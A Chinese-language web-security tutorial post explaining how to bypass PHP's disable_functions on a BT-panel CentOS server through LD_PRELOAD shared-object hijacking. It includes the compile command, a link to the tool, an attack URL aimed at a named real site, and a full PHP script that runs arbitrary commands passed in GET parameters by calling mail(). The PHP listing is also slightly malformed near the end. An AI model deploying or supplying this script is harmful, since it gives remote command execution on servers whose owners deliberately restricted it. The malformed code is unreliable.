WEB安全第八章实战篇02 绕过Bypass disable_functions 提权
1.环境
宝塔linux主机
主机系统类型 centos php版本 5.4
2.禁用函数
禁用这些执行命令的函数,导致无法执行命令。
3.绕过方法
劫持函数 劫持共享对象 执行命令
cc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so -ldl
根据目标架构编译成不同版本
编译成x86要加上 -m32
下载地址
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
http://swww.apt999.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/www/wwwroot/www.apt999.com/bypass_disablefunc_x64.so
bypass_disablefunc.php
echo "
example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
";$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "
cmdline: " . $evil_cmdline . "
";putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "
output:
" . nl2br(file_get_contents($out_path)) . "
unlink($out_path);
?>
原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/archives/612